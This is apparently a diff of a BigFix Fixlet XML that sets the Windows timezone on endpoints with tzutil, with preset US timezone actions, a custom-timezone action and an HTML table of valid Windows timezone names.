-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Tonga Standard Time</FONT></TD></TR></TBODY></TABLE></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>((name of it = &quot;Win2008R2&quot;) OR (name of it = &quot;Win7&quot;) OR (name of it = &quot;Win8&quot;) OR (name of it = &quot;Win2012&quot;)) of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2013-10-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 08 Oct 2013 20:19:55 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Set to Eastern Time.</Link>
-        <PostLink></PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Eastern Standard Time&quot;</ActionScript>
-    </DefaultAction>
-    <Action ID="Action2868">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Set to custom timezone.</Link>
-        <PostLink>&amp;nbsp;</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;Timezone&quot; with description &quot;Please type the timezone that you&apos;d like to set. Use the list from the fixlet details.&quot;
-
-wait cmd.exe /C tzutil /s &quot;{parameter &quot;Timezone&quot; of action}&quot;</ActionScript>
-    </Action>
-    <Action ID="Action2869">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Set to Central Time.</Link>
-        <PostLink></PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Central Standard Time&quot;</ActionScript>
-    </Action>
-    <Action ID="Action2870">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Set to Mountain Time.</Link>
-        <PostLink></PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Mountain Standard Time&quot;</ActionScript>
-    </Action>
-    <Action ID="Action2871">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Set to Pacific Time.</Link>
-        <PostLink></PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Pacific Standard Time&quot;</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Set Timezone - Windows
+  ID       : 2613
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2013-10-08T13:24:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Set Timezone - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will set the timezone on the endpoint. A few popular timezones have been preset but if you need a custom timezone, use the list below. If the timezone needs to have Daylight Saving Time disabled, append the timezone name with _dstoff, i.e. "Pacific Standard Time_dstoff". A list of all valid timezones is below. Copy the name in the right column of the timezone that you want. Do not include any quotes, just the name in the right column.</P>
+<P>
+<TABLE style="WIDTH: 479pt; BORDER-COLLAPSE: collapse" border=0 cellSpacing=0 cellPadding=0 width=638>
+<COLGROUP>
+<COL style="WIDTH: 312pt; mso-width-source: userset; mso-width-alt: 15213" width=416>
+<COL style="WIDTH: 167pt; mso-width-source: userset; mso-width-alt: 8118" width=222>
+<TBODY>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; WIDTH: 312pt; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20 width=416><FONT size=3><FONT face=Calibri>(UTC-12:00) International Date Line West<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; WIDTH: 167pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" width=222><FONT size=3 face=Calibri>Dateline Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-11:00) Coordinated Universal Time-11<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC-11</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-11:00) Samoa<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Samoa Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-10:00) Hawaii<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Hawaiian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-09:00) Alaska<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Alaskan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-08:00) Baja California<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pacific Standard Time (Mexico)</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-08:00) Pacific Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pacific Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-07:00) Arizona<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>US Mountain Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-07:00) Chihuahua, La Paz, Mazatlan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mountain Standard Time (Mexico)</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-07:00) Mountain Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mountain Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Central America<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central America Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Central Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Guadalajara, Mexico City, Monterrey<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Standard Time (Mexico)</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Saskatchewan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Canada Central Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-05:00) Bogota, Lima, Quito<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SA Pacific Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-05:00) Eastern Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Eastern Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-05:00) Indiana (East)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>US Eastern Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:30) Caracas<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Venezuela Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Asuncion<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Paraguay Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Atlantic Time (Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Atlantic Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Cuiaba<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Brazilian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Georgetown, La Paz, Manaus, San Juan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SA Western Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Santiago<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pacific SA Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:30) Newfoundland<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Newfoundland Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Brasilia<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. South America Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Buenos Aires<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Argentina Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Cayenne, Fortaleza<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SA Eastern Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Greenland<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Greenland Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Montevideo<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Montevideo Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-02:00) Coordinated Universal Time-02<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC-02</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-02:00) Mid-Atlantic<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mid-Atlantic Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-01:00) Azores<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Azores Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-01:00) Cape Verde Is.<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Cape Verde Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Casablanca<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Morocco Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Coordinated Universal Time<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Dublin, Edinburgh, Lisbon, London<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>GMT Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Monrovia, Reykjavik<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Greenwich Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
